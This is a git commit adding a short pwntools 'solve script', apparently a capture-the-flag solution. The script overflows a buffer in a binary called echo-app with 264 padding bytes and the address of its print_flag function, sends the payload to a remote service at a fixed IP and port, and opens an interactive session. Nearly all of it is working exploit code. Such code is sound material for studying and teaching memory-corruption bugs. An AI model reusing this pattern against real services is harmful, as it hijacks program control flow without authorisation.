solve script

This commit is contained in:
jc
2024-11-15 23:47:07 +03:00
parent b4f7309082
commit 083b13e139
+17
View File
@@ -0,0 +1,17 @@
#!/usr/bin/python3
from pwn import *
context.binary = target = ELF("./echo-app", checksec=False)
# r = process()
r = remote("54.85.45.101", 8008)
# funcs
s = lambda a: r.sendline(a)
# buf
buf = b"A"*264
buf += p64(target.sym.print_flag)
s(buf)
r.interactive()